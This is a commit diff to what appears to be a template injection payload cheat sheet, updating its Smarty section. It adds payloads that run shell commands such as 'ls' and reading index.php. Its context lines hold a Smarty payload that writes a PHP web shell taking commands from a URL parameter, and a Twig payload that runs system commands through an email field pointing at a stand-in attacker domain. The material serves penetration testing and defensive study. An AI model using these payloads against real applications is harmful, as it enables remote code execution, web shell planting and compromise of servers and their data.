Update Smarty Template Injection

This commit is contained in:
mpgn 2021-05-20 16:42:51 +02:00 committed by GitHub
parent f6f8ec010a
commit 367296c1f1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -233,8 +233,10 @@ email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```python
{$smarty.version}
{php}echo `id`;{/php}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
## Freemarker